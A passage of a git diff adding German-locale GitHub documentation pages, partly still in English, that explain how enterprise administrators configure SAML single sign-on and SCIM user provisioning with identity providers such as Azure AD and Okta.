+OneLogin | {% octicon "check-circle-fill" aria-label="The check icon" %} | |
+PingOne | {% octicon "check-circle-fill" aria-label="The check icon" %} | |
+Shibboleth | {% octicon "check-circle-fill" aria-label="The check icon" %} | |
+
+{% elsif ghes %}
+
+{% data reusables.saml.saml-supported-idps %}
+
+{% ifversion ghes > 3.3 %}
+
+If your IdP supports encrypted assertions, you can configure encrypted assertions on {% data variables.product.product_name %} for increased security during the authentication process.
+
+{% endif %}
+
+{% data reusables.saml.saml-single-logout-not-supported %}
+
+{% elsif ghae %}
+
+The following IdPs are officially supported for integration with {% data variables.product.prodname_ghe_managed %}.
+
+{% data reusables.saml.okta-ae-sso-beta %}
+
+{% data reusables.github-ae.saml-idp-table %}
+
+{% endif %}
+
+{% ifversion ghae %}
+
+## Mapping {% data variables.product.prodname_ghe_managed %} teams to Okta groups
+
+If you use Okta as your IdP, you can map your Okta groups to teams on {% data variables.product.product_name %}. For more information, see "[Mapping Okta groups to teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)."
+
+{% endif %}
+
+## Further reading
+
+- [SAML Wiki](https://wiki.oasis-open.org/security) on the OASIS website
+- [System for Cross-domain Identity Management: Protocol (RFC 7644)](https://tools.ietf.org/html/rfc7644) on the IETF website{% ifversion ghae %}
+- [Restricting network traffic to your enterprise](/admin/configuration/restricting-network-traffic-to-your-enterprise){% endif %}
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md
new file mode 100644
index 0000000000..ceebd276ec
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md
@@ -0,0 +1,81 @@
+---
+title: Configuring authentication and provisioning for your enterprise using Azure AD
+shortTitle: Configure with Azure AD
+intro: 'You can use a tenant in Azure Active Directory (Azure AD) as an identity provider (IdP) to centrally manage authentication and user provisioning for {% data variables.location.product_location %}.'
+permissions: 'Enterprise owners can configure authentication and provisioning for an enterprise on {% data variables.product.product_name %}.'
+versions:
+  ghae: '*'
+  feature: scim-for-ghes
+type: how_to
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - Identity
+  - SSO
+redirect_from:
+  - /admin/authentication/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad
+  - /admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad
+  - /admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad
+---
+
+## About authentication and user provisioning with Azure AD
+
+Azure Active Directory (Azure AD) is a service from Microsoft that allows you to centrally manage user accounts and access to web applications. For more information, see [What is Azure Active Directory?](https://docs.microsoft.com/azure/active-directory/fundamentals/active-directory-whatis) in the Microsoft Docs.
+
+To manage identity and access for {% data variables.product.product_name %}, you can use an Azure AD tenant as a SAML IdP for authentication. You can also configure Azure AD to automatically provision accounts and access membership with SCIM, which allows you to create {% data variables.product.product_name %} users and manage team and organization membership from your Azure AD tenant.
+
+{% data reusables.scim.ghes-beta-note %}
+
+After you enable SAML SSO and SCIM for {% data variables.product.product_name %} using Azure AD, you can accomplish the following from your Azure AD tenant.
+
+* Assign the {% data variables.product.product_name %} application on Azure AD to a user account to automatically create and grant access to a corresponding user account on {% data variables.product.product_name %}.
+* Unassign the {% data variables.product.product_name %} application to a user account on Azure AD to deactivate the corresponding user account on {% data variables.product.product_name %}.
+* Assign the {% data variables.product.product_name %} application to an IdP group on Azure AD to automatically create and grant access to user accounts on {% data variables.product.product_name %} for all members of the IdP group. In addition, the IdP group is available on {% data variables.product.product_name %} for connection to a team and its parent organization.
+* Unassign the {% data variables.product.product_name %} application from an IdP group to deactivate the {% data variables.product.product_name %} user accounts of all IdP users who had access only through that IdP group and remove the users from the parent organization. The IdP group will be disconnected from any teams on {% data variables.product.product_name %}.
+
+For more information about managing identity and access for your enterprise on {% data variables.location.product_location %}, see "[Managing identity and access for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise)." For more information about synchronizing teams with IdP groups, see "[Synchronizing a team with an identity provider group](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group)."
+
+## Prerequisites
+
+- To configure authentication and user provisioning for {% data variables.product.product_name %} using Azure AD, you must have an Azure AD account and tenant. For more information, see the [Azure AD website](https://azure.microsoft.com/free/active-directory) and [Quickstart: Create an Azure Active Directory tenant](https://docs.microsoft.com/azure/active-directory/develop/quickstart-create-new-tenant) in the Microsoft Docs.
+
+{%- ifversion scim-for-ghes %}
+- {% data reusables.saml.ghes-you-must-configure-saml-sso %}
+{%- endif %}
+
+- {% data reusables.saml.create-a-machine-user %}
+
+## Configuring authentication and user provisioning with Azure AD
+
+In your Azure AD tenant, add the application for {% data variables.product.product_name %}, then configure provisioning.
+
+{% ifversion ghae %}
+
+1. In Azure AD, add the {% data variables.enterprise.ae_azure_ad_app_link %} to your tenant and configure single sign-on. For more information, see [Tutorial: Azure Active Directory single sign-on (SSO) integration with {% data variables.product.product_name %}](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-tutorial) in the Microsoft Docs.
+
+1. In {% data variables.product.product_name %}, enter the details for your Azure AD tenant.
+
+    - {% data reusables.saml.ae-enable-saml-sso-during-bootstrapping %}
+
+    - If you've already configured SAML SSO for {% data variables.location.product_location %} using another IdP and you want to use Azure AD instead, you can edit your configuration. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise#editing-the-saml-sso-configuration)."
+
+1. Enable user provisioning in {% data variables.product.product_name %} and configure user provisioning in Azure AD. For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise#enabling-user-provisioning-for-your-enterprise)."
+
+{% elsif scim-for-ghes %}
+
+1. In the Azure AD tenant, in the left sidebar, click **Provisioning**.
+
+1. Under "Tenant URL", type the full endpoint URL for SCIM on {% data variables.location.product_location %}. For more information, see "[SCIM](/rest/enterprise-admin/scim#scim-endpoint-urls)" in the REST API documentation.
+
+1. Under "Secret Token", type the {% data variables.product.pat_v1 %} that you created in step 4 of "[Configuring user provisioning with SCIM for your enterprise](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise#enabling-user-provisioning-for-your-enterprise)."
+
+1. To ensure a successful connection from Azure AD to {% data variables.location.product_location %}, Click **Test Connection**.
+
+1. After you ensure a successful connection, at the top of the page, click **Save**.
+
+{% endif %}
+
+1. Assign an enterprise owner for {% data variables.product.product_name %} in Azure AD. The process you should follow depends on whether you configured provisioning. For more information about enterprise owners, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owners)."
+   - If you configured provisioning, to grant the user enterprise ownership in {% data variables.product.product_name %}, assign the enterprise owner role to the user in Azure AD.
+   - If you did not configure provisioning, to grant the user enterprise ownership in {% data variables.product.product_name %}, include the `administrator` attribute in the SAML assertion for the user account on the IdP, with the value of `true`. For more information about including the `administrator` attribute in the SAML claim from Azure AD, see [How to: customize claims issued in the SAML token for enterprise applications](https://docs.microsoft.com/azure/active-directory/develop/active-directory-saml-claims-customization) in the Microsoft Docs.
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md
new file mode 100644
index 0000000000..f4865844c9
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md
@@ -0,0 +1,167 @@
+---
+title: Konfigurieren der Authentifizierung und Bereitstellung für dein Unternehmen mithilfe von Okta
+shortTitle: Configure with Okta
+intro: 'Du kannst Okta als Identitätsanbieter (Identity Provider, IdP) verwenden, um die Authentifizierung und Benutzerbereitstellung für {% data variables.location.product_location %} zentral zu verwalten.'
+permissions: 'Enterprise owners can configure authentication and provisioning for {% data variables.product.product_name %}.'
+versions:
+  ghae: '*'
+  feature: scim-for-ghes
+redirect_from:
+  - /admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta
+  - /admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta
+type: how_to
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - Identity
+  - SSO
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 1655ca7f800b94c150455a077b867e7e08fa924b
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107515'
+---
+{% data reusables.saml.okta-ae-sso-beta %}
+
+## Informationen zur Authentifizierung und Benutzerbereitstellung mit Okta
+
+Du kannst Okta als Identitätsanbieter (Identity Provider, IdP) für {% data variables.product.product_name %} verwenden, damit sich deine Okta-Benutzer*innen mit ihren Okta-Anmeldeinformationen bei {% data variables.product.product_name %} anmelden können.
+
+Wenn du Okta als IdP für {% data variables.product.product_name %} nutzen möchtest, kannst du Okta die {% data variables.product.product_name %}-App hinzufügen, Okta in {% data variables.product.product_name %} als IdP konfigurieren und Zugriff für deine Okta-Benutzer*innen und -Gruppen bereitstellen.
+
+{% data reusables.scim.ghes-beta-note %}
+
+Die folgenden Bereitstellungsfeatures sind für alle Okta-Benutzer*innen verfügbar, die du deiner {% data variables.product.product_name %}-Anwendung zuweist.
+
+| Funktion | BESCHREIBUNG |
+| --- | --- |
+| Push neuer Benutzer | Wenn du neue Benutzer*innen in Okta erstellst, werden diese {% data variables.product.product_name %} hinzugefügt. |
+| Push Benutzer-Deaktivierung | Wenn du Benutzer*innen in Okta deaktivierst, werden diese in deinem Unternehmen in {% data variables.product.product_name %} gesperrt. |
+| Push Profil-Aktualisierungen | Wenn du Benutzerprofile in Okta aktualisierst, aktualisiert Okta die Metadaten zur Mitgliedschaft der Benutzer*innen in deinem Unternehmen in {% data variables.product.product_name %}. |
+| Benutzer reaktivieren | Wenn du Benutzer*innen in Okta reaktivierst, wird deren Sperrung in deinem Unternehmen in {% data variables.product.product_name %} aufgehoben. |
+
+## Voraussetzungen
+
+- Wenn du die Authentifizierung und Benutzerbereitstellung für {% data variables.product.product_name %} mithilfe von Okta konfigurieren möchtest, musst du über ein Okta-Konto und einen Mandanten verfügen.
+
+{%- ifversion scim-for-ghes %}
+- {% data reusables.saml.ghes-you-must-configure-saml-sso %} {%- endif %}
+
+- {% data reusables.saml.create-a-machine-user %}
+
+## Hinzufügen der {% data variables.product.product_name %}-Anwendung in Okta
+
+
+{% data reusables.saml.okta-ae-applications-menu %} {% data reusables.saml.okta-browse-app-catalog %} {%- ifversion ghae %}
+1. Gib „GitHub AE“ in das Suchfeld ein, und klicke in den Ergebnissen auf **GitHub AE**.
+
+  ![Suchergebnisse](/assets/images/help/saml/okta-ae-search.png)
+1. Klicken Sie auf **Hinzufügen**.
+
+  ![Hinzufügen der GitHub AE-App](/assets/images/help/saml/okta-ae-add-github-ae.png)
+1. Gib für „Basis-URL“ die URL deines Unternehmens in {% data variables.product.product_name %} ein.
+
+  ![Konfigurieren der Basis-URL](/assets/images/help/saml/okta-ae-configure-base-url.png)
+1. Klicken Sie auf **Fertig**.
+{%- elsif scim-for-ghes %}
+1. Gib „GitHub Enterprise Server“ in das Suchfeld ein, und klicke in den Ergebnissen auf **GitHub Enterprise Server**.
+1. Klicken Sie auf **Hinzufügen**.
+1. Gib für „Basis-URL“ die URL von {% data variables.location.product_location %} ein.
+1. Klicken Sie auf **Fertig**.
+{% endif %}
+
+## Aktivieren des einmaligen Anmeldens mit SAML für {% data variables.product.product_name %}
+
+Wenn du das einmalige Anmelden (Single Sign-On, SSO) für {% data variables.product.product_name %} aktivieren möchtest, musst du {% data variables.product.product_name %} für die Nutzung der Anmelde-URL, der Aussteller-URL und des öffentlichen Zertifikats konfigurieren, die von Okta bereitgestellt werden. Diese Details findest du in der Okta-App für {% data variables.product.product_name %}.
+
+{% data reusables.saml.okta-ae-applications-menu %} {% data reusables.saml.okta-click-on-the-app %} {% ifversion ghae %} {% data reusables.saml.okta-sign-on-tab %} {% data reusables.saml.okta-view-setup-instructions %}
+1. Notier dir die Details unter „Anmelde-URL“, „Aussteller“ und „Öffentliches Zertifikat“. 
+1. Verwende die Details, um das SSO mit SAML für dein Unternehmen in {% data variables.product.product_name %} zu aktivieren. Weitere Informationen findest du unter [Konfigurieren des einmaligen Anmeldens mit SAML für Unternehmen](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise).
+{% elsif scim-for-ghes %} {% data reusables.saml.okta-sign-on-tab %}
+1. Verwende die Details, um das SSO mit SAML für {% data variables.location.product_location %} zu aktivieren. Weitere Informationen findest du unter [Konfigurieren des einmaligen Anmeldens mit SAML für Unternehmen](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise).
+{%- endif %}
+
+{% note %}
+
+**Hinweis:** Wenn du deine SAML-Konfiguration in {% data variables.product.product_name %} testen möchtest, muss dein Okta-Benutzerkonto der {% data variables.product.product_name %}-App zugewiesen sein.
+
+{% endnote %}
+
+## Aktivieren der API-Integration
+
+Die Okta-App verwendet für die SCIM-Bereitstellung die REST-API für {% data variables.product.product_name %}. Du kannst den Zugriff auf die API aktivieren und testen, indem du Okta für die Nutzung eines {% data variables.product.pat_generic %} für {% data variables.product.product_name %} konfigurierst.
+
+1. Generiere in {% data variables.product.product_name %} ein {% data variables.product.pat_v1 %} mit dem Bereich `admin:enterprise`. Weitere Informationen findest du unter [Erstellen eines {% data variables.product.pat_generic %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token).
+{% data reusables.saml.okta-ae-applications-menu %} {% data reusables.saml.okta-click-on-the-app %} {% data reusables.saml.okta-ae-provisioning-tab %}
+1. Klicke auf **API-Integration konfigurieren**.
+
+1. Klicke auf **API-Integration aktivieren**.
+
+  ![Aktivieren der API-Integration](/assets/images/help/saml/okta-ae-enable-api-integration.png)
+
+1. Gib für „API-Token“ das zuvor generierte {% data variables.product.pat_generic %} für {% data variables.product.product_name %} ein.
+
+1. Klicke auf **API-Anmeldeinformationen testen**. 
+
+{% note %}
+
+**Hinweis**: Wenn `Error authenticating: No results for users returned` angezeigt wird, überprüfe, ob das einmalige Anmelden für {% data variables.product.product_name %} aktiviert ist. Weitere Informationen findest du unter [Aktivieren des einmaligen Anmeldens mit SAML für {% data variables.product.product_name %}](#enabling-saml-sso-for-github-ae).
+
+{% endnote %}
+
+## Konfigurieren der Einstellungen für die SCIM-Bereitstellung
+
+In dieser Anleitung wird dargelegt, wie du die SCIM-Einstellungen für die Okta-Bereitstellung konfigurierst. Diese Einstellungen definieren, welche Features beim automatischen Bereitstellen von Okta-Benutzerkonten in {% data variables.product.product_name %} verwendet werden.
+
+{% data reusables.saml.okta-ae-applications-menu %} {% data reusables.saml.okta-click-on-the-app %} {% data reusables.saml.okta-ae-provisioning-tab %}
+1. Klicke unter „Einstellungen“ auf **In App**.
+
+  ![Einstellungen > In App](/assets/images/help/saml/okta-ae-to-app-settings.png)
+
+1. Klicke rechts neben „Bereitstellung in App“ auf **Bearbeiten**.
+1. Klicke rechts von „Benutzer erstellen“ auf **Aktivieren**.
+1. Klicke rechts von „Benutzerattribute aktualisieren“ auf **Aktivieren**.
+1. Klicke rechts von „Benutzer deaktivieren“ auf **Aktivieren**.
+1. Klicken Sie auf **Speichern**.
+
+## Gewähren des Zugriffs auf {% data variables.product.product_name %} für Okta-Benutzer*innen und -Gruppen
+
+Du kannst Zugriff auf {% data variables.product.product_name %} für deine einzelnen Okta-Benutzer*innen oder für ganze Gruppen bereitstellen.
+
+### Bereitstellen des Zugriffs für Okta-Benutzer*innen
+
+Bevor sich deine Okta-Benutzer*innen mit ihren Anmeldeinformationen bei {% data variables.product.product_name %} anmelden können, musst du sie der Okta-App für {% data variables.product.product_name %} zuweisen.
+
+{% data reusables.saml.okta-ae-applications-menu %} {% data reusables.saml.okta-click-on-the-app %}
+
+1. Klicke auf **Zuweisungen:**.
+
+  ![Registerkarte „Zuweisungen“](/assets/images/help/saml/okta-ae-assignments-tab.png)
+
+1. Öffne das Dropdownmenü „Zuweisen“, und klicke auf **Personen zuweisen**.
+
+  ![Schaltfläche „Personen zuweisen“](/assets/images/help/saml/okta-ae-assign-to-people.png)
+
+1. Klicke rechts neben dem erforderlichen Benutzerkonto auf **Zuweisen**.
+
+  ![Liste der Benutzer](/assets/images/help/saml/okta-ae-assign-user.png)
+
+1. Klicke rechts neben „Rolle“ auf eine Rolle für den oder die Benutzer*in und dann auf **Speichern und zurückkehren**.
+
+  ![Rollenauswahl](/assets/images/help/saml/okta-ae-assign-role.png)
+
+1. Klicken Sie auf **Fertig**.
+
+{% ifversion ghae %}
+### Bereitstellen des Zugriffs für Okta-Gruppen
+
+Du kannst deine Okta-Gruppe einem Team in {% data variables.product.product_name %} zuordnen. Mitglieder der Okta-Gruppe werden dann automatisch Mitglieder des zugeordneten {% data variables.product.product_name %}-Teams. Weitere Informationen findest du unter [Zuordnen von Okta-Gruppen zu Teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams).
+{% endif %}
+
+## Weitere Informationsquellen
+
+- [Grundlegendes zu SAML](https://developer.okta.com/docs/concepts/saml/) in der Okta-Dokumentation
+- [Grundlegendes zu SCIM](https://developer.okta.com/docs/concepts/scim/) in der Okta-Dokumentation
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md
new file mode 100644
index 0000000000..e0cc05ea8e
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md
@@ -0,0 +1,54 @@
+---
+title: Konfigurieren des einmaligen Anmeldens mit SAML für dein Unternehmen mithilfe von Okta
+intro: 'Du kannst mit dem einmaligen Anmelden mit SAML (Security Assertion Markup Language) mit Okta den Zugriff auf dein Unternehmenskonto automatisch auf {% data variables.product.product_name %} verwalten.'
+redirect_from:
+  - /github/setting-up-and-managing-your-enterprise/configuring-single-sign-on-for-your-enterprise-account-using-okta
+  - /github/setting-up-and-managing-your-enterprise-account/configuring-saml-single-sign-on-for-your-enterprise-account-using-okta
+  - /github/setting-up-and-managing-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-account-using-okta
+  - /github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/configuring-saml-single-sign-on-for-your-enterprise-account-using-okta
+  - /admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta
+  - /admin/identity-and-access-management/managing-iam-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta
+versions:
+  ghec: '*'
+topics:
+  - Authentication
+  - Enterprise
+type: how_to
+shortTitle: Configure SAML SSO with Okta
+ms.openlocfilehash: e9cbf6e70fb5e07f9cd2c5e27d9b952921e18fdc
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109665'
+---
+{% data reusables.enterprise-accounts.emu-saml-note %}
+
+## Informationen zu SAML mit Okta
+
+Du kannst den Zugriff auf dein Unternehmenskonto in {% data variables.product.product_name %} und anderen Webanwendungen über eine zentrale Schnittstelle steuern, indem du das einmalige Anmelden (Single Sign-On, SSO) mit SAML mithilfe von Okta, einem Identitätsanbieter (Identity Provider, IdP), für das Unternehmenskonto konfigurierst.
+
+Das SAML-SSO steuert und schützt den Zugriff auf Ressourcen des Unternehmenskontos wie Organisationen, Repositorys, Issues und Pull Requests. Weitere Informationen findest du unter [Konfigurieren des einmaligen Anmeldens mit SAML für Unternehmen](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise).
+
+{% data reusables.saml.switching-from-org-to-enterprise %} Weitere Informationen findest du unter [Umstellen der SAML-Konfiguration von einer Organisation auf ein Unternehmenskonto](/github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account).
+
+Alternativ kannst du das SAML-SSO auch mithilfe von Okta für eine Organisation konfigurieren, die {% data variables.product.prodname_ghe_cloud %} verwendet. Weitere Informationen findest du unter [Konfigurieren des einmaligen Anmeldens mit SAML und SCIM mithilfe von Okta](/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta).
+
+## Die {% data variables.product.prodname_ghe_cloud %}-Anwendung in Okta hinzufügen
+
+{% data reusables.saml.okta-sign-into-your-account %}
+1. Navigiere im Okta Integration Network zur Anwendung [{% data variables.product.prodname_ghe_cloud %} - Enterprise Accounts](https://www.okta.com/integrations/github-enterprise-cloud-enterprise-accounts), und klicke auf **Add Integration** (Integration hinzufügen).
+{% data reusables.saml.okta-dashboard-click-applications %}
+1. Gib optional rechts neben „Application label“ (Anwendungsbezeichnung) einen beschreibenden Namen für die Anwendung ein.
+1. Gib rechts neben „{% data variables.product.prodname_dotcom %} Enterprises“ (GitHub-Unternehmen) den Namen deines Unternehmenskontos ein. Wenn die URL deines Unternehmenskontos beispielsweise `https://github.com/enterprises/octo-corp` lautet, gib `octo-corp` ein.
+1. Klicken Sie auf **Fertig**.
+
+## SAML SSO aktivieren und testen
+
+{% data reusables.saml.okta-sign-into-your-account %} {% data reusables.saml.okta-dashboard-click-applications %} {% data reusables.saml.click-enterprise-account-application %} {% data reusables.saml.assign-yourself-to-okta %} {% data reusables.saml.okta-sign-on-tab %}
+1. Klicke rechts neben „Settings“ (Einstellungen) auf **Edit** (Bearbeiten).
+1. Öffne unter „Configured SAML Attributes“ (Konfigurierte SAML-Attribute) rechts neben „Groups“ (Gruppen) das Dropdownmenü, und wähle **Matches regex** (Stimmt mit RegEx über) aus.
+1. Gib rechts neben dem Dropdownmenü `.*.*` ein.
+1. Klicken Sie auf **Speichern**.
+{% data reusables.saml.okta-view-setup-instructions %}
+1. Aktiviere SAML für dein Unternehmenskonto mithilfe der Informationen in der Setupanleitung. Weitere Informationen findest du unter [Konfigurieren des einmaligen Anmeldens mit SAML für Unternehmen](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise).
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise.md b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise.md
new file mode 100644
index 0000000000..5f0283606c
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise.md
@@ -0,0 +1,244 @@
+---
+title: Configuring SAML single sign-on for your enterprise
+shortTitle: Configure SAML SSO
+intro: 'You can control and secure access to {% ifversion ghec %}resources like repositories, issues, and pull requests within your enterprise''s organizations{% elsif ghes %}{% data variables.location.product_location %}{% elsif ghae %}your enterprise on {% data variables.product.prodname_ghe_managed %}{% endif %} by {% ifversion ghec %}enforcing{% elsif ghes or ghae %}configuring{% endif %} SAML single sign-on (SSO) through your identity provider (IdP).'
+permissions: '{% ifversion ghes %}Site administrators{% elsif ghec or ghae %}Enterprise owners{% endif %} can configure SAML SSO for {% ifversion ghec or ghae %}an enterprise on {% data variables.product.product_name %}{% elsif ghes %}a {% data variables.product.product_name %} instance{% endif %}.'
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - Identity
+  - SSO
+redirect_from:
+  - /admin/authentication/configuring-saml-single-sign-on-for-your-enterprise
+  - /github/setting-up-and-managing-your-enterprise/enabling-saml-single-sign-on-for-organizations-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/enabling-saml-single-sign-on-for-organizations-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/enforcing-saml-single-sign-on-for-organizations-in-your-enterprise-account
+  - /admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise
+  - /admin/identity-and-access-management/managing-iam-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise
+---
+
+{% data reusables.enterprise-accounts.emu-saml-note %}
+
+## About SAML SSO
+
+{% ifversion ghec %}
+
+{% data reusables.saml.dotcom-saml-explanation %} 
+
+{% data reusables.saml.saml-accounts %}
+
+For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)."
+
+{% data reusables.saml.about-saml-enterprise-accounts %}
+
+{% data reusables.saml.about-saml-access-enterprise-account %} For more information, see "[Viewing and managing a user's SAML access to your enterprise account](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)."
+
+{% data reusables.saml.saml-disabled-linked-identities-removed %}
+
+{% data reusables.scim.enterprise-account-scim %}
+
+{% elsif ghes or ghae %}
+
+SAML SSO allows you to centrally control and secure access to {% data variables.location.product_location %} from your SAML IdP. When an unauthenticated user visits {% data variables.location.product_location %} in a browser, {% data variables.product.product_name %} will redirect the user to your SAML IdP to authenticate. After the user successfully authenticates with an account on the IdP, the IdP redirects the user back to {% data variables.location.product_location %}. {% data variables.product.product_name %} validates the response from your IdP, then grants access to the user.
+
+After a user successfully authenticates on your IdP, the user's SAML session for {% data variables.location.product_location %} is active in the browser for 24 hours. After 24 hours, the user must authenticate again with your IdP.
+
+{% data reusables.saml.saml-ghes-account-revocation %}
+
+{% ifversion ghae %}
+
+{% data reusables.saml.assert-the-administrator-attribute %}
+
+{% data reusables.scim.after-you-configure-saml %} For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)."
+
+{% endif %}
+
+{% endif %}
+
+## Supported identity providers
+
+{% data reusables.saml.saml-supported-idps %}
+
+{% ifversion ghec %}
+
+## Username considerations with SAML
+
+{% ifversion ghec %}If you use {% data variables.product.prodname_emus %}, {% endif %}{% data reusables.enterprise_user_management.consider-usernames-for-external-authentication %} For more information, see "[Username considerations for external authentication](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication)."
+
+## Enforcing SAML single-sign on for organizations in your enterprise account
+
+{% note %}
+
+**Notes:**
+
+- When you enforce SAML SSO for your enterprise, the enterprise configuration will override any existing organization-level SAML configurations. {% data reusables.saml.switching-from-org-to-enterprise %} For more information, see "[Switching your SAML configuration from an organization to an enterprise account](/github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account)."
+- When you enforce SAML SSO for an organization, {% data variables.product.company_short %} removes any members of the organization that have not authenticated successfully with your SAML IdP. When you require SAML SSO for your enterprise, {% data variables.product.company_short %} does not remove members of the enterprise that have not authenticated successfully with your SAML IdP. The next time a member accesses the enterprise's resources, the member must authenticate with your SAML IdP.
+
+{% endnote %}
+
+For more detailed information about how to enable SAML using Okta, see "[Configuring SAML single sign-on for your enterprise account using Okta](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta)."
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+4. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. Under "SAML single sign-on", select **Require SAML authentication**.
+  ![Checkbox for enabling SAML SSO](/assets/images/help/business-accounts/enable-saml-auth-enterprise.png)
+6. In the **Sign on URL** field, type the HTTPS endpoint of your IdP for single sign-on requests. This value is available in your IdP configuration.
+![Field for the URL that members will be forwarded to when signing in](/assets/images/help/saml/saml_sign_on_url_business.png)
+7. Optionally, in the **Issuer** field, type your SAML issuer URL to verify the authenticity of sent messages.
+![Field for the SAML issuer's name](/assets/images/help/saml/saml_issuer.png)
+8. Under **Public Certificate**, paste a certificate to verify SAML responses.
+![Field for the public certificate from your identity provider](/assets/images/help/saml/saml_public_certificate.png)
+9. To verify the integrity of the requests from your SAML issuer, click {% octicon "pencil" aria-label="The edit icon" %}. Then in the "Signature Method" and "Digest Method" drop-downs, choose the hashing algorithm used by your SAML issuer.
+![Drop-downs for the Signature Method and Digest method hashing algorithms used by your SAML issuer](/assets/images/help/saml/saml_hashing_method.png)
+10. Before enabling SAML SSO for your enterprise, click **Test SAML configuration** to ensure that the information you've entered is correct. ![Button to test SAML configuration before enforcing](/assets/images/help/saml/saml_test.png)
+11. Click **Save**.
+{% data reusables.enterprise-accounts.download-recovery-codes %}
+
+{% elsif ghes %}
+
+## Configuring SAML SSO
+
